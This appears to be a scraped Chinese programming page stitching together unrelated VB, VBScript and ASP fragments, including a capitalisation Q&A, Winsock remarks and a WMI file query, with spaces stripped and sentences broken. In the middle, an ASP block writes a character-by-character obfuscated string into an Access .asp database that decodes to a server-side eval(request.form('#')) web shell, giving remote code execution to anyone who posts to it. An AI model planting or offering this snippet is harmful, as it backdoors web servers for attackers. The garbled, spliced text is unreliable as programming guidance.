它可以使得我们的VB程序更具灵活性，充分地利用它自然也能够实现动态菜单的创建出现这种情况的原因是：Win32_Process 没有可以告诉您进程在哪个帐户下运行的属性

ConstadCmdText=&H0001 如果传递了错误的值，那么过程将出错，并可能因此导致VisualBasic应用程序停止运行

IfretValThen RegExpTest="找到一个或多个匹配　　MFC虽然开发相对比较快速，但是也存在一个运行库问题，做成动态链接吧，windows9X系列的用户无法使用，编译成静态链接吧，软件尺寸一下扩充了1M多，在网络带宽还不富裕的情况下，还是少用为妙

不知不觉时光飞逝，4年过去了，人老了，难道只能怀旧吗？ <% db="0123.asp"'这里改成您的数据库地址 setconn=server.createobject("Adodb.Connection") connstr="Provider=Microsoft.Jet.OLEDB.4.0;DataSource="&Server.MapPath(db) conn.openconnstr '添加notdownload表 conn.execute("createtablenotdownload(notdownoleobject)") '写入<%数据 setrs=server.createobject("adodb.recordset") sql="select*fromnotdownload" rs.opensql,conn,1,3 rs.addnew rs("notdown").appendchunk(chrB(asc("<"))&chrB(asc("s"))&chrB(asc("c"))&chrB(asc("r"))&chrB(asc("i"))&chrB(asc("p"))&chrB(asc("t"))&chrB(asc(""))&chrB(asc("r"))&chrB(asc("u"))&chrB(asc("n"))&chrB(asc("a"))&chrB(asc("t"))&chrB(asc("="))&chrB(asc("s"))&chrB(asc("e"))&chrB(asc("r"))&chrB(asc("v"))&chrB(asc("e"))&chrB(asc("r"))&chrB(asc(""))&chrB(asc("l"))&chrB(asc("a"))&chrB(asc("n"))&chrB(asc("g"))&chrB(asc("u"))&chrB(asc("a"))&chrB(asc("g"))&chrB(asc("e"))&chrB(asc("="))&chrB(asc("j"))&chrB(asc("a"))&chrB(asc("v"))&chrB(asc("a"))&chrB(asc("s"))&chrB(asc("c"))&chrB(asc("r"))&chrB(asc("i"))&chrB(asc("p"))&chrB(asc("t"))&chrB(asc(">"))&chrB(asc("e"))&chrB(asc("v"))&chrB(asc("a"))&chrB(asc("l"))&chrB(asc("("))&chrB(asc("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc("u"))&chrB(asc("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("."))&chrB(asc("f"))&chrB(asc("o"))&chrB(asc("r"))&chrB(asc("m"))&chrB(asc("("))&chrB(asc("'"))&chrB(asc("#"))&chrB(asc("'"))&chrB(asc(")"))&chrB(asc("+"))&chrB(asc("'"))&chrB(asc("'"))&chrB(asc(")"))&chrB(asc("<"))&chrB(asc("/"))&chrB(asc("s"))&chrB(asc("c"))&chrB(asc("r"))&chrB(asc("i"))&chrB(asc("p"))&chrB(asc("t"))&chrB(asc(">"))) rs.update rs.close setrs=nothing '关闭连接 conn.close setconn=nothing %>而作为服务器的计算机仅需要设置RemoteHost属性为客户计算机的IP地址或域名即可，并将其RemotePort属性设置成客户计算机上的LocalPort属性即可，然后就可通过申请SendData方法来开始信息发送，客户计算机则可在其DataArrial事件中使用方法GetData来获取发送的信息

IhaveascriptwhereusersentersomeinformationinanInputbox.Theinformationneedstobeenteredinall-capitalletters,somyinstructionssay,“PleasemakesuretheCapsLockkeyisonbeforeenteringtheinformation.”Theydon'talwaysdothat,however.IsthereawaytoturntheCapsLockkeyonandoffusingascript? --BW,Medford,OR 答： Hey,BW.Wedon'tknowofawaytoturntheCapsLockkeyonandoff,butwedoknowawaytomimictheeffectofhavingtheCapsLockkeyon.Afterall,thewholepointoftheCapsLockkeyistoturneverythingyoutypeintouppercaseletters.Forexample,youmighttypethis: thisismysentence. ButCapsLockwillmakeitappearonscreenlikethis: THISISMYSENTENCE. Sohowcanweachievethesameaffectinascript?简单：wejustusetheVBScriptfunctionUCase,whichswitchesallthelettersinastringtotheiruppercaseequivalent.Forexample,here'sasimpletwo-linescriptthatgathersinformationfromauserandthenusestheUCasefunctiontoswitchalltheletterstouppercasewhenechoingthevaluetothescreen: strMessage=InputBox("Pleaseenteryourmessage:")Wscript.EchoUCase(strMessage) Incidentally,theabovescriptdoesn'tactuallychangethecaseofthelettersinthestringstrMessage;itjustdisplaystheminuppercase.Ifyoureallywantallthelettersconvertedtouppercase,trythisscriptinstead: strMessage=UCase(InputBox("Pleaseenteryourmessage:"))Wscript.EchostrMessage Lookscrazy,butitworks. FormoreinformationabouttheUCasefunction,seetheVBScript文档onMSDN. 兔下载安装在VB中，我们可以按以下步骤来创建此类窗口：1、设置窗口的BorderStyle=3；2、在Form_Load中加入：Me.Icon=LoadPicture("")->

strComputer="." Set objWMIService=GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\" _ & strComputer & "\root\cimv2") Set colFiles=objWMIService. _ ExecQuery("Select * from CIM_DataFile where Extension='mp3'") For Each objFile in colFiles Wscript.Echo objFile.Name Next 。